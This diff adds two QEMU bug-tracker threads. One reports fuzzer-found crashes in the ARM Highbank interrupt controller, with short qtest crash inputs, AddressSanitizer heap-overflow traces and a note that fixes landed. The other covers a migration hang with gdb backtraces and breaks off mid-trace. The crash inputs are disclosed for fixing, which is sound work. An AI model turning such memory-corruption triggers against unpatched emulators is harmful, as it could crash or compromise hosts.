heap-buffer-overflow on address 0x608000001c80 at pc 0x5618928c486e bp 0x7ffe22c4ee10 sp 0x7ffe22c4ee08 +> READ of size 8 at 0x608000001c80 thread T0 +> #0 0x5618928c486d in address_space_translate_iommu /home/alxndr/Development/qemu/general-fuzz/exec.c:451:23 +> #1 0x561892850acc in flatview_do_translate /home/alxndr/Development/qemu/general-fuzz/exec.c:524:16 +> #2 0x5618928514ad in flatview_translate /home/alxndr/Development/qemu/general-fuzz/exec.c:584:15 +> #3 0x5618928b1e14 in flatview_write_continue /home/alxndr/Development/qemu/general-fuzz/exec.c:3199:14 +> #4 0x56189289aa11 in flatview_write /home/alxndr/Development/qemu/general-fuzz/exec.c:3216:14 +> #5 0x56189289a54e in address_space_write /home/alxndr/Development/qemu/general-fuzz/exec.c:3308:18 +> #6 0x5618937a5e13 in qtest_process_command /home/alxndr/Development/qemu/general-fuzz/softmmu/qtest.c:452:13 +> #7 0x56189379d89f in qtest_process_inbuf /home/alxndr/Development/qemu/general-fuzz/softmmu/qtest.c:710:9 +> #8 0x56189379c680 in qtest_read /home/alxndr/Development/qemu/general-fuzz/softmmu/qtest.c:722:5 +> ================================================================= +> +> Reproducer 3: +> cat << EOF | ./arm-softmmu/qemu-system-arm -machine highbank \ +> -nographic -monitor none -serial none -qtest stdio +> writeq 0xfff11000 0x700000b +> writeq 0xfff11f00 0x4f4f4fff54a7afaf +> writel 0xfff10100 0x600001ff +> EOF +> +> ==23743==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x62b000006a92 at pc 0x55d690d980e1 bp 0x7ffe606082d0 sp 0x7ffe606082c8 +> READ of size 1 at 0x62b000006a92 thread T0 +> #0 0x55d690d980e0 in gic_get_best_irq /home/alxndr/Development/qemu/general-fuzz/hw/intc/arm_gic.c:94:13 +> #1 0x55d690d9485b in gic_update_internal /home/alxndr/Development/qemu/general-fuzz/hw/intc/arm_gic.c:185:13 +> #2 0x55d690d90376 in gic_update /home/alxndr/Development/qemu/general-fuzz/hw/intc/arm_gic.c:226:5 +> #3 0x55d690dc0879 in gic_cpu_write /home/alxndr/Development/qemu/general-fuzz/hw/intc/arm_gic.c:1758:9 +> #4 0x55d690da41c0 in gic_thiscpu_write /home/alxndr/Development/qemu/general-fuzz/hw/intc/arm_gic.c:1777:12 +> #5 0x55d68f6b30d4 in memory_region_write_with_attrs_accessor /home/alxndr/Development/qemu/general-fuzz/softmmu/memory.c:503:12 +> #6 0x55d68f6b1ac6 in access_with_adjusted_size /home/alxndr/Development/qemu/general-fuzz/softmmu/memory.c:544:18 +> #7 0x55d68f6aff35 in memory_region_dispatch_write /home/alxndr/Development/qemu/general-fuzz/softmmu/memory.c:1473:13 +> #8 0x55d68e861949 in flatview_write_continue /home/alxndr/Development/qemu/general-fuzz/exec.c:3176:23 +> #9 0x55d68e84aa11 in flatview_write /home/alxndr/Development/qemu/general-fuzz/exec.c:3216:14 +> #10 0x55d68e84a54e in address_space_write /home/alxndr/Development/qemu/general-fuzz/exec.c:3308:18 +> #11 0x55d68f755537 in qtest_process_command /home/alxndr/Development/qemu/general-fuzz/softmmu/qtest.c:447:13 +> #12 0x55d68f74d89f in qtest_process_inbuf /home/alxndr/Development/qemu/general-fuzz/softmmu/qtest.c:710:9 +> #13 0x55d68f74c680 in qtest_read /home/alxndr/Development/qemu/general-fuzz/softmmu/qtest.c:722:5 +> #14 0x55d692dddc36 in qemu_chr_be_write_impl /home/alxndr/Development/qemu/general-fuzz/chardev/char.c:188:9 +> #15 0x55d692dddd79 in qemu_chr_be_write /home/alxndr/Development/qemu/general-fuzz/chardev/char.c:200:9 +> #16 0x55d692df105e in fd_chr_read /home/alxndr/Development/qemu/general-fuzz/chardev/char-fd.c:68:9 +> #17 0x55d692f395df in qio_channel_fd_source_dispatch /home/alxndr/Development/qemu/general-fuzz/io/channel-watch.c:84:12 +> #18 0x7f69a1b50897 in g_main_context_dispatch (/usr/lib/x86_64-linux-gnu/libglib-2.0.so.0+0x4e897) +> #19 0x55d6932f5c83 in glib_pollfds_poll /home/alxndr/Development/qemu/general-fuzz/util/main-loop.c:217:9 +> #20 0x55d6932f35b6 in os_host_main_loop_wait /home/alxndr/Development/qemu/general-fuzz/util/main-loop.c:240:5 +> #21 0x55d6932f2f97 in main_loop_wait /home/alxndr/Development/qemu/general-fuzz/util/main-loop.c:516:11 +> #22 0x55d68f76c62d in qemu_main_loop /home/alxndr/Development/qemu/general-fuzz/softmmu/vl.c:1676:9 +> #23 0x55d692f6f20c in main /home/alxndr/Development/qemu/general-fuzz/softmmu/main.c:49:5 +> #24 0x7f69a06d6e0a in __libc_start_main /build/glibc-GwnBeO/glibc-2.30/csu/../csu/libc-start.c:308:16 +> #25 0x55d68e753459 in _start (/home/alxndr/Development/qemu/general-fuzz/build/arm-softmmu/qemu-system-arm+0x3254459) +> +> 0x62b000006a92 is located 2 bytes to the right of 26768-byte region [0x62b000000200,0x62b000006a90) +> allocated by thread T0 here: +> #0 0x55d68e7cbe4d in malloc (/home/alxndr/Development/qemu/general-fuzz/build/arm-softmmu/qemu-system-arm+0x32cce4d) +> #1 0x7f69a1b56500 in g_malloc (/usr/lib/x86_64-linux-gnu/libglib-2.0.so.0+0x54500) +> #2 0x55d69254f231 in object_new /home/alxndr/Development/qemu/general-fuzz/qom/object.c:708:12 +> #3 0x55d69034bf01 in qdev_new /home/alxndr/Development/qemu/general-fuzz/hw/core/qdev.c:136:12 +> #4 0x55d68f2b7aa4 in calxeda_init /home/alxndr/Development/qemu/general-fuzz/hw/arm/highbank.c:319:15 +> #5 0x55d68f2b6466 in highbank_init /home/alxndr/Development/qemu/general-fuzz/hw/arm/highbank.c:411:5 +> #6 0x55d6903d43f1 in machine_run_board_init /home/alxndr/Development/qemu/general-fuzz/hw/core/machine.c:1134:5 +> #7 0x55d68f77e0ee in qemu_init /home/alxndr/Development/qemu/general-fuzz/softmmu/vl.c:4356:5 +> #8 0x55d692f6f207 in main /home/alxndr/Development/qemu/general-fuzz/softmmu/main.c:48:5 +> #9 0x7f69a06d6e0a in __libc_start_main /build/glibc-GwnBeO/glibc-2.30/csu/../csu/libc-start.c:308:16 +> +> +> Let me know if I can provide any further info. +> -Alex +> +> To manage notifications about this bug go to: +> https://bugs.launchpad.net/qemu/+bug/1889621/+subscriptions + + +On 200730 1550, Peter Maydell wrote: +> I haven't looked at reproducer #1, but is it a fuzzer-specific variant +> of LP:1602247 (trying to read the "for this CPU" registers from +> something other than a CPU doesn't work) ? + +That was my initial suspicion as well, but it looks like the SEGV +happens here: +if (s->num_cpu > 1) { +rather than here: + return current_cpu->cpu_index; + +-Alex + +> +> -- +> You received this bug notification because you are subscribed to the bug +> report. +> https://bugs.launchpad.net/bugs/1889621 +> +> Title: +> ARM Highbank Crashes Realted to GIC +> +> Status in QEMU: +> Confirmed +> +> Bug description: +> Hello, +> Here are some QTest reproducers for crashes on ARM Highbank that all seem to be related to the gic device. +> +> Reproducer 1: +> cat << EOF | ./arm-softmmu/qemu-system-arm -machine highbank \ +> -nographic -monitor none -serial none -qtest stdio +> writel 0xfff11f00 0x8405f559 +> writel 0xfff117fd 0x5c057bd8 +> EOF +> +> ==10595==ERROR: AddressSanitizer: SEGV on unknown address 0x62b000013e01 (pc 0x55b6ab85cc91 bp 0x7fff60bd4d70 sp 0x7fff60bd4ce0 T0) +> ==10595==The signal is caused by a READ memory access. +> #0 0x55b6ab85cc91 in gic_get_current_cpu /home/alxndr/Development/qemu/general-fuzz/hw/intc/arm_gic.c:60:12 +> #1 0x55b6ab85e1bd in gic_dist_writeb /home/alxndr/Development/qemu/general-fuzz/hw/intc/arm_gic.c:1182:11 +> #2 0x55b6ab855a97 in gic_dist_write /home/alxndr/Development/qemu/general-fuzz/hw/intc/arm_gic.c:1514:9 +> #3 0x55b6aa1650d4 in memory_region_write_with_attrs_accessor /home/alxndr/Development/qemu/general-fuzz/softmmu/memory.c:503:12 +> #4 0x55b6aa163ac6 in access_with_adjusted_size /home/alxndr/Development/qemu/general-fuzz/softmmu/memory.c:544:18 +> #5 0x55b6aa161f35 in memory_region_dispatch_write /home/alxndr/Development/qemu/general-fuzz/softmmu/memory.c:1473:13 +> #6 0x55b6a9313949 in flatview_write_continue /home/alxndr/Development/qemu/general-fuzz/exec.c:3176:23 +> #7 0x55b6a92fca11 in flatview_write /home/alxndr/Development/qemu/general-fuzz/exec.c:3216:14 +> #8 0x55b6a92fc54e in address_space_write /home/alxndr/Development/qemu/general-fuzz/exec.c:3308:18 +> ================================================================= +> +> Reproducer 2: +> cat << EOF | ./arm-softmmu/qemu-system-arm -machine highbank \ +> -nographic -monitor none -serial none -qtest stdio +> writeq 0xfff11f00 0x613a650f0fda6555 +> EOF +> +> ==1375==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x608000001c80 at pc 0x5618928c486e bp 0x7ffe22c4ee10 sp 0x7ffe22c4ee08 +> READ of size 8 at 0x608000001c80 thread T0 +> #0 0x5618928c486d in address_space_translate_iommu /home/alxndr/Development/qemu/general-fuzz/exec.c:451:23 +> #1 0x561892850acc in flatview_do_translate /home/alxndr/Development/qemu/general-fuzz/exec.c:524:16 +> #2 0x5618928514ad in flatview_translate /home/alxndr/Development/qemu/general-fuzz/exec.c:584:15 +> #3 0x5618928b1e14 in flatview_write_continue /home/alxndr/Development/qemu/general-fuzz/exec.c:3199:14 +> #4 0x56189289aa11 in flatview_write /home/alxndr/Development/qemu/general-fuzz/exec.c:3216:14 +> #5 0x56189289a54e in address_space_write /home/alxndr/Development/qemu/general-fuzz/exec.c:3308:18 +> #6 0x5618937a5e13 in qtest_process_command /home/alxndr/Development/qemu/general-fuzz/softmmu/qtest.c:452:13 +> #7 0x56189379d89f in qtest_process_inbuf /home/alxndr/Development/qemu/general-fuzz/softmmu/qtest.c:710:9 +> #8 0x56189379c680 in qtest_read /home/alxndr/Development/qemu/general-fuzz/softmmu/qtest.c:722:5 +> ================================================================= +> +> Reproducer 3: +> cat << EOF | ./arm-softmmu/qemu-system-arm -machine highbank \ +> -nographic -monitor none -serial none -qtest stdio +> writeq 0xfff11000 0x700000b +> writeq 0xfff11f00 0x4f4f4fff54a7afaf +> writel 0xfff10100 0x600001ff +> EOF +> +> ==23743==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x62b000006a92 at pc 0x55d690d980e1 bp 0x7ffe606082d0 sp 0x7ffe606082c8 +> READ of size 1 at 0x62b000006a92 thread T0 +> #0 0x55d690d980e0 in gic_get_best_irq /home/alxndr/Development/qemu/general-fuzz/hw/intc/arm_gic.c:94:13 +> #1 0x55d690d9485b in gic_update_internal /home/alxndr/Development/qemu/general-fuzz/hw/intc/arm_gic.c:185:13 +> #2 0x55d690d90376 in gic_update /home/alxndr/Development/qemu/general-fuzz/hw/intc/arm_gic.c:226:5 +> #3 0x55d690dc0879 in gic_cpu_write /home/alxndr/Development/qemu/general-fuzz/hw/intc/arm_gic.c:1758:9 +> #4 0x55d690da41c0 in gic_thiscpu_write /home/alxndr/Development/qemu/general-fuzz/hw/intc/arm_gic.c:1777:12 +> #5 0x55d68f6b30d4 in memory_region_write_with_attrs_accessor /home/alxndr/Development/qemu/general-fuzz/softmmu/memory.c:503:12 +> #6 0x55d68f6b1ac6 in access_with_adjusted_size /home/alxndr/Development/qemu/general-fuzz/softmmu/memory.c:544:18 +> #7 0x55d68f6aff35 in memory_region_dispatch_write /home/alxndr/Development/qemu/general-fuzz/softmmu/memory.c:1473:13 +> #8 0x55d68e861949 in flatview_write_continue /home/alxndr/Development/qemu/general-fuzz/exec.c:3176:23 +> #9 0x55d68e84aa11 in flatview_write /home/alxndr/Development/qemu/general-fuzz/exec.c:3216:14 +> #10 0x55d68e84a54e in address_space_write /home/alxndr/Development/qemu/general-fuzz/exec.c:3308:18 +> #11 0x55d68f755537 in qtest_process_command /home/alxndr/Development/qemu/general-fuzz/softmmu/qtest.c:447:13 +> #12 0x55d68f74d89f in qtest_process_inbuf /home/alxndr/Development/qemu/general-fuzz/softmmu/qtest.c:710:9 +> #13 0x55d68f74c680 in qtest_read /home/alxndr/Development/qemu/general-fuzz/softmmu/qtest.c:722:5 +> #14 0x55d692dddc36 in qemu_chr_be_write_impl /home/alxndr/Development/qemu/general-fuzz/chardev/char.c:188:9 +> #15 0x55d692dddd79 in qemu_chr_be_write /home/alxndr/Development/qemu/general-fuzz/chardev/char.c:200:9 +> #16 0x55d692df105e in fd_chr_read /home/alxndr/Development/qemu/general-fuzz/chardev/char-fd.c:68:9 +> #17 0x55d692f395df in qio_channel_fd_source_dispatch /home/alxndr/Development/qemu/general-fuzz/io/channel-watch.c:84:12 +> #18 0x7f69a1b50897 in g_main_context_dispatch (/usr/lib/x86_64-linux-gnu/libglib-2.0.so.0+0x4e897) +> #19 0x55d6932f5c83 in glib_pollfds_poll /home/alxndr/Development/qemu/general-fuzz/util/main-loop.c:217:9 +> #20 0x55d6932f35b6 in os_host_main_loop_wait /home/alxndr/Development/qemu/general-fuzz/util/main-loop.c:240:5 +> #21 0x55d6932f2f97 in main_loop_wait /home/alxndr/Development/qemu/general-fuzz/util/main-loop.c:516:11 +> #22 0x55d68f76c62d in qemu_main_loop /home/alxndr/Development/qemu/general-fuzz/softmmu/vl.c:1676:9 +> #23 0x55d692f6f20c in main /home/alxndr/Development/qemu/general-fuzz/softmmu/main.c:49:5 +> #24 0x7f69a06d6e0a in __libc_start_main /build/glibc-GwnBeO/glibc-2.30/csu/../csu/libc-start.c:308:16 +> #25 0x55d68e753459 in _start (/home/alxndr/Development/qemu/general-fuzz/build/arm-softmmu/qemu-system-arm+0x3254459) +> +> 0x62b000006a92 is located 2 bytes to the right of 26768-byte region [0x62b000000200,0x62b000006a90) +> allocated by thread T0 here: +> #0 0x55d68e7cbe4d in malloc (/home/alxndr/Development/qemu/general-fuzz/build/arm-softmmu/qemu-system-arm+0x32cce4d) +> #1 0x7f69a1b56500 in g_malloc (/usr/lib/x86_64-linux-gnu/libglib-2.0.so.0+0x54500) +> #2 0x55d69254f231 in object_new /home/alxndr/Development/qemu/general-fuzz/qom/object.c:708:12 +> #3 0x55d69034bf01 in qdev_new /home/alxndr/Development/qemu/general-fuzz/hw/core/qdev.c:136:12 +> #4 0x55d68f2b7aa4 in calxeda_init /home/alxndr/Development/qemu/general-fuzz/hw/arm/highbank.c:319:15 +> #5 0x55d68f2b6466 in highbank_init /home/alxndr/Development/qemu/general-fuzz/hw/arm/highbank.c:411:5 +> #6 0x55d6903d43f1 in machine_run_board_init /home/alxndr/Development/qemu/general-fuzz/hw/core/machine.c:1134:5 +> #7 0x55d68f77e0ee in qemu_init /home/alxndr/Development/qemu/general-fuzz/softmmu/vl.c:4356:5 +> #8 0x55d692f6f207 in main /home/alxndr/Development/qemu/general-fuzz/softmmu/main.c:48:5 +> #9 0x7f69a06d6e0a in __libc_start_main /build/glibc-GwnBeO/glibc-2.30/csu/../csu/libc-start.c:308:16 +> +> +> Let me know if I can provide any further info. +> -Alex +> +> To manage notifications about this bug go to: +> https://bugs.launchpad.net/qemu/+bug/1889621/+subscriptions + + +Can you still reproduce one of these issues with the current master branch of QEMU? For me, all three reproduces do not seem to cause any trouble anymore... + +I believe these were all taken care of by +edfe2eb436 ("hw/intc/arm_gic: Fix interrupt ID in GICD_SGIR register") +09bbdb89bc ("hw/intc/arm_gic: Allow to use QTest without crashing") + +Ok, thanks, then let's close this (and open new tickets on gitlab if it happens again) + diff --git a/results/classifier/deepseek-1/output/returns./1807052 b/results/classifier/deepseek-1/output/returns./1807052 new file mode 100644 index 00000000..2ad777a4 --- /dev/null +++ b/results/classifier/deepseek-1/output/returns./1807052 @@ -0,0 +1,363 @@ + +Qemu hangs during migration + +Source server: linux 4.19.5 qemu-3.0.0 from source, libvirt 4.9 +Dest server: linux 4.18.19 qemu-3.0.0 from source, libvirt 4.9 + +When this VM is running on source server: + +/usr/bin/qemu-system-x86_64 -name guest=testvm,debug-threads=on -S -object secret,id=masterKey0,format=raw,file=/var/lib/libvirt/qemu/domain-13-testvm/master-key.aes -machine pc-q35-3.0,accel=kvm,usb=off,dump-guest-core=off -cpu Skylake-Server-IBRS,ss=on,hypervisor=on,tsc_adjust=on,clflushopt=on,umip=on,pku=on,ssbd=on,xsaves=on,topoext=on,hv_time,hv_relaxed,hv_vapic,hv_spinlocks=0x1fff,hv_vpindex,hv_runtime,hv_synic,hv_stimer,hv_reset,hv_vendor_id=KVM Hv -m 4096 -realtime mlock=off -smp 2,sockets=2,cores=1,threads=1 -object iothread,id=iothread1 -uuid 3b00b788-ee91-4e45-80a6-c7319da71225 -no-user-config -nodefaults -chardev socket,id=charmonitor,fd=23,server,nowait -mon chardev=charmonitor,id=monitor,mode=control -rtc base=localtime,driftfix=slew -global kvm-pit.lost_tick_policy=delay -no-hpet -no-shutdown -boot strict=on -device pcie-root-port,port=0x10,chassis=1,id=pci.1,bus=pcie.0,multifunction=on,addr=0x2 -device pcie-root-port,port=0x11,chassis=2,id=pci.2,bus=pcie.0,addr=0x2.0x1 -device pcie-pci-bridge,id=pci.3,bus=pci.1,addr=0x0 -device pcie-root-port,port=0x12,chassis=4,id=pci.4,bus=pcie.0,addr=0x2.0x2 -device pcie-root-port,port=0x13,chassis=5,id=pci.5,bus=pcie.0,addr=0x2.0x3 -device piix3-usb-uhci,id=usb,bus=pci.3,addr=0x1 -device virtio-scsi-pci,iothread=iothread1,id=scsi0,bus=pci.4,addr=0x0 -drive file=/dev/zvol/datastore/vm/testvm-vda,format=raw,if=none,id=drive-scsi0-0-0-0,cache=writeback,aio=threads -device scsi-hd,bus=scsi0.0,channel=0,scsi-id=0,lun=0,drive=drive-scsi0-0-0-0,id=scsi0-0-0-0,bootindex=2,write-cache=on -drive if=none,id=drive-sata0-0-4,media=cdrom,readonly=on -device ide-cd,bus=ide.4,drive=drive-sata0-0-4,id=sata0-0-4,bootindex=1 -netdev tap,fd=25,id=hostnet0,vhost=on,vhostfd=26 -device virtio-net-pci,netdev=hostnet0,id=net0,mac=52:54:00:a2:b7:a1,bus=pci.2,addr=0x0 -device usb-tablet,id=input0,bus=usb.0,port=1 -vnc 127.0.0.1:0 -device cirrus-vga,id=video0,bus=pcie.0,addr=0x1 -s -sandbox on,obsolete=deny,elevateprivileges=deny,spawn=deny,resourcecontrol=deny -msg timestamp=on + +I try to migrate it and the disks to the other side: + +virsh migrate --live --undefinesource --persistent --verbose --copy-storage-all testvm qemu+ssh://wasvirt1/system + +We get to 99% then hang with both sides in the pause state. + +Source server is stuck here: +(gdb) bt full +#0 0x00007f327994f3c1 in ppoll () at /lib64/libc.so.6 +#1 0x000000000086167b in qemu_poll_ns (fds=<optimized out>, nfds=nfds@entry=1, timeout=<optimized out>) at util/qemu-timer.c:322 +#2 0x0000000000863302 in aio_poll (ctx=0x21044e0, blocking=blocking@entry=true) at util/aio-posix.c:629 + node = <optimized out> + i = <optimized out> + ret = 0 + progress = <optimized out> + timeout = <optimized out> + start = <optimized out> + __PRETTY_FUNCTION__ = "aio_poll" +#3 0x00000000007e0d52 in nbd_client_close (bs=0x2ba2400) at block/nbd-client.c:62 + waited_ = <optimized out> + wait_ = 0x2ba563c + ctx_ = 0x2109bb0 + bs_ = 0x2ba2400 + client = 0x31287e0 + client = <optimized out> + request = {handle = 0, from = 0, len = 0, flags = 0, type = 2} +#4 0x00000000007e0d52 in nbd_client_close (bs=0x2ba2400) at block/nbd-client.c:965 + client = <optimized out> + request = {handle = 0, from = 0, len = 0, flags = 0, type = 2} +#5 0x00000000007de5ca in nbd_close (bs=<optimized out>) at block/nbd.c:491 + s = 0x31287e0 +#6 0x00000000007823d6 in bdrv_unref (bs=0x2ba2400) at block.c:3352 + ban = <optimized out> + ban_next = <optimized out> + child = <optimized out> + next = <optimized out> +#7 0x00000000007823d6 in bdrv_unref (bs=0x2ba2400) at block.c:3560 +#8 0x00000000007823d6 in bdrv_unref (bs=0x2ba2400) at block.c:4616 +#9 0x0000000000782403 in bdrv_unref (bs=0x2af96f0) at block.c:3359 + ban = <optimized out> + ban_next = <optimized out> + child = <optimized out> + next = <optimized out> +#10 0x0000000000782403 in bdrv_unref (bs=0x2af96f0) at block.c:3560 +#11 0x0000000000782403 in bdrv_unref (bs=0x2af96f0) at block.c:4616 +#12 0x0000000000785784 in block_job_remove_all_bdrv (job=job@entry=0x2f32570) at blockjob.c:200 + c = 0x23bac30 + l = 0x20dd330 = {0x23bac30, 0x2b89410} +#13 0x00000000007ceb5f in mirror_exit (job=0x2f32570, opaque=0x7f326407a350) at block/mirror.c:700 + s = 0x2f32570 + bjob = 0x2f32570 + data = 0x7f326407a350 + bs_opaque = 0x30d5600 + replace_aio_context = <optimized out> + src = 0x2131080 + target_bs = 0x2af96f0 + mirror_top_bs = 0x210eb70 + local_err = 0x0 +#14 0x0000000000786452 in job_defer_to_main_loop_bh (opaque=0x7f32640786a0) at job.c:973 + data = 0x7f32640786a0 + job = <optimized out> + aio_context = 0x2109bb0 +#15 0x000000000085fd3f in aio_bh_poll (ctx=ctx@entry=0x21044e0) at util/async.c:118 +---Type <return> to continue, or q <return> to quit--- + bh = <optimized out> + bhp = <optimized out> + next = 0x2ea86e0 + ret = 1 + deleted = false +#16 0x00000000008631b0 in aio_dispatch (ctx=0x21044e0) at util/aio-posix.c:436 +#17 0x000000000085fc1e in aio_ctx_dispatch (source=<optimized out>, callback=<optimized out>, user_data=<optimized out>) at util/async.c:261 + ctx = <optimized out> +#18 0x00007f327f17d797 in g_main_context_dispatch () at /usr/lib64/libglib-2.0.so.0 +#19 0x00000000008622ed in main_loop_wait () at util/main-loop.c:215 + context = 0x2104900 + pfds = <optimized out> + context = 0x2104900 + ret = 1 + ret = 1 + timeout = 4294967295 + timeout_ns = <optimized out> +#20 0x00000000008622ed in main_loop_wait (timeout=<optimized out>) at util/main-loop.c:238 + context = 0x2104900 + ret = 1 + ret = 1 + timeout = 4294967295 + timeout_ns = <optimized out> +#21 0x00000000008622ed in main_loop_wait (nonblocking=nonblocking@entry=0) at util/main-loop.c:497 + ret = 1 + timeout = 4294967295 + timeout_ns = <optimized out> +#22 0x0000000000595dee in main_loop () at vl.c:1866 +#23 0x000000000041f35d in main (argc=<optimized out>, argv=<optimized out>, envp=<optimized out>) at vl.c:4644 + i = <optimized out> + snapshot = 0 + linux_boot = <optimized out> + initrd_filename = 0x0 + kernel_filename = <optimized out> + kernel_cmdline = <optimized out> + boot_order = 0x918f44 "cad" + boot_once = 0x0 + ds = <optimized out> + opts = <optimized out> + machine_opts = <optimized out> + icount_opts = <optimized out> + accel_opts = 0x0 + olist = <optimized out> + optind = 71 + optarg = 0x7ffdfc94df69 "timestamp=on" + loadvm = 0x0 + machine_class = 0x0 + cpu_model = 0x7ffdfc94d864 "Skylake-Server-IBRS,ss=on,hypervisor=on,tsc_adjust=on,clflushopt=on,umip=on,pku=on,ssbd=on,xsaves=on,topoext=on,hv_time,hv_relaxed,hv_vapic,hv_spinlocks=0x1fff,hv_vpindex,hv_runtime,hv_synic,hv_stimer"... + vga_model = 0x0 + qtest_chrdev = 0x0 + qtest_log = 0x0 + pid_file = <optimized out> + incoming = 0x0 + userconfig = <optimized out> +---Type <return> to continue, or q <return> to quit--- + nographic = false + display_remote = <optimized out> + log_mask = <optimized out> + log_file = <optimized out> + trace_file = <optimized out> + maxram_size = 4294967296 + ram_slots = 0 + vmstate_dump_file = 0x0 + main_loop_err = 0x0 + err = 0x0 + list_data_dirs = false + dir = <optimized out> + dirs = <optimized out> + bdo_queue = {sqh_first = 0x0, sqh_last = 0x7ffdfc94c170} + __func__ = "main" + +Strace shows: +ppoll([{fd=9, events=POLLIN|POLLERR|POLLHUP}], 1, NULL, NULL, 8 + +Which points to this: + +ls -al /proc/2286/fd/9 +lrwx------ 1 root users 64 Dec 5 13:04 /proc/2286/fd/9 -> anon_inode:[eventfd] + +The dest side is stuck here: + +(gdb) bt full +#0 0x00007f21f070d3c1 in ppoll () at /lib64/libc.so.6 +#1 0x0000000000861659 in qemu_poll_ns (fds=<optimized out>, nfds=<optimized out>, timeout=timeout@entry=2999926258) at util/qemu-timer.c:334 + ts = {tv_sec = 2, tv_nsec = 999926258} +Python Exception <class 'gdb.error'> That operation is not available on integers of more than 8 bytes.: +#2 0x00000000008622a4 in main_loop_wait (timeout=<optimized out>) at util/main-loop.c:233 + context = 0x2142900 + ret = <optimized out> + ret = -1295041038 + timeout = 4294967295 + timeout_ns = <optimized out> +#3 0x00000000008622a4 in main_loop_wait (nonblocking=nonblocking@entry=0) at util/main-loop.c:497 + ret = -1295041038 + timeout = 4294967295 + timeout_ns = <optimized out> +#4 0x0000000000595dee in main_loop () at vl.c:1866 +#5 0x000000000041f35d in main (argc=<optimized out>, argv=<optimized out>, envp=<optimized out>) at vl.c:4644 + i = <optimized out> + snapshot = 0 + linux_boot = <optimized out> + initrd_filename = 0x0 + kernel_filename = <optimized out> + kernel_cmdline = <optimized out> + boot_order = 0x918f44 "cad" + boot_once = 0x0 + ds = <optimized out> + opts = <optimized out> + machine_opts = <optimized out> + icount_opts = <optimized out> + accel_opts = 0x0 + olist = <optimized out> + optind = 73 + optarg = 0x7ffdd6ee8f69 "timestamp=on" + loadvm = 0x0 + machine_class = 0x0 + cpu_model = 0x7ffdd6ee8854 "Skylake-Server-IBRS,ss=on,hypervisor=on,tsc_adjust=on,clflushopt=on,umip=on,pku=on,ssbd=on,xsaves=on,topoext=on,hv_time,hv_relaxed,hv_vapic,hv_spinlocks=0x1fff,hv_vpindex,hv_runtime,hv_synic,hv_stimer"... + vga_model = 0x0 + qtest_chrdev = 0x0 + qtest_log = 0x0 + pid_file = <optimized out> + incoming = 0x7ffdd6ee8f0a "defer" + userconfig = <optimized out> + nographic = false + display_remote = <optimized out> + log_mask = <optimized out> + log_file = <optimized out> + trace_file = <optimized out> + maxram_size = 4294967296 + ram_slots = 0 + vmstate_dump_file = 0x0 + main_loop_err = 0x0 + err = 0x0 + list_data_dirs = false + dir = <optimized out> + dirs = <optimized out> + bdo_queue = {sqh_first = 0x0, sqh_last = 0x7ffdd6ee6630} +---Type <return> to continue, or q <return> to quit--- + __func__ = "main" + +Strace show this over and over +ppoll([{fd=6, events=POLLIN}, {fd=7, events=POLLIN}, {fd=9, events=POLLIN}, {fd=10, events=POLLIN}, {fd=21, events=POLLIN}, {fd=22, events=POLLIN}, {fd=23, events=POLLIN}, {fd=24, events=POLLIN}, {fd=27, events=POLLIN}], 9, {0, 594527977}, NULL, 8) = 0 (Timeout) + +lrwx------ 1 root users 64 Dec 5 13:15 /proc/20170/fd/10 -> anon_inode:[eventfd] +lrwx------ 1 root users 64 Dec 5 13:15 /proc/20170/fd/21 -> socket:[42631161] +lrwx------ 1 root users 64 Dec 5 13:15 /proc/20170/fd/22 -> socket:[42631165] +lrwx------ 1 root users 64 Dec 5 13:15 /proc/20170/fd/23 -> socket:[42631167] +lrwx------ 1 root users 64 Dec 5 13:15 /proc/20170/fd/24 -> socket:[42631168] +lrwx------ 1 root users 64 Dec 5 13:15 /proc/20170/fd/27 -> socket:[42690422] +lrwx------ 1 root users 64 Dec 5 13:15 /proc/20170/fd/6 -> anon_inode:[eventfd] +lrwx------ 1 root users 64 Dec 5 13:15 /proc/20170/fd/7 -> anon_inode:[signalfd] +lrwx------ 1 root users 64 Dec 5 13:15 /proc/20170/fd/9 -> anon_inode:[eventfd] + +If I remote iothreads and writeback caching, it seems more reliable, but I can still get it to hang. + +This time the source server shows the VM as running, backtrace looks like: + +(gdb) bt full +#0 0x00007f27eab0028c in __lll_lock_wait () at /lib64/libpthread.so.0 +#1 0x00007f27eaaf9d35 in pthread_mutex_lock () at /lib64/libpthread.so.0 +#2 0x0000000000865419 in qemu_mutex_lock_impl (mutex=mutex@entry=0x115b8e0 <qemu_global_mutex>, file=file@entry=0x8fdf14 "/tmp/qemu-3.0.0/cpus.c", line=line@entry=1768) + at util/qemu-thread-posix.c:66 + err = <optimized out> + __PRETTY_FUNCTION__ = "qemu_mutex_lock_impl" + __func__ = "qemu_mutex_lock_impl" +#3 0x0000000000477578 in qemu_mutex_lock_iothread () at /tmp/qemu-3.0.0/cpus.c:1768 +#4 0x00000000008622b0 in main_loop_wait (timeout=<optimized out>) at util/main-loop.c:236 + context = 0x1e72810 + ret = 1 + ret = 1 + timeout = 4294967295 + timeout_ns = <optimized out> +#5 0x00000000008622b0 in main_loop_wait (nonblocking=nonblocking@entry=0) at util/main-loop.c:497 + ret = 1 + timeout = 4294967295 + timeout_ns = <optimized out> +#6 0x0000000000595dee in main_loop () at vl.c:1866 +#7 0x000000000041f35d in main (argc=<optimized out>, argv=<optimized out>, envp=<optimized out>) at vl.c:4644 + i = <optimized out> + snapshot = 0 + linux_boot = <optimized out> + initrd_filename = 0x0 + kernel_filename = <optimized out> + kernel_cmdline = <optimized out> + boot_order = 0x918f44 "cad" + boot_once = 0x0 + ds = <optimized out> + opts = <optimized out> + machine_opts = <optimized out> + icount_opts = <optimized out> + accel_opts = 0x0 + olist = <optimized out> + optind = 71 + optarg = 0x7fff5edcff69 "timestamp=on" + loadvm = 0x0 + machine_class = 0x0 + cpu_model = 0x7fff5edcf88a "Skylake-Server-IBRS,ss=on,hypervisor=on,tsc_adjust=on,clflushopt=on,umip=on,pku=on,ssbd=on,xsaves=on,topoext=on,hv_time,hv_relaxed,hv_vapic,hv_spinlocks=0x1fff,hv_vpindex,hv_runtime,hv_synic,hv_stimer"... + vga_model = 0x0 + qtest_chrdev = 0x0 + qtest_log = 0x0 + pid_file = <optimized out> + incoming = 0x7fff5edcff0a "defer" + userconfig = <optimized out> + nographic = false + display_remote = <optimized out> + log_mask = <optimized out> + log_file = <optimized out> + trace_file = <optimized out> + maxram_size = 4294967296 + ram_slots = 0 + 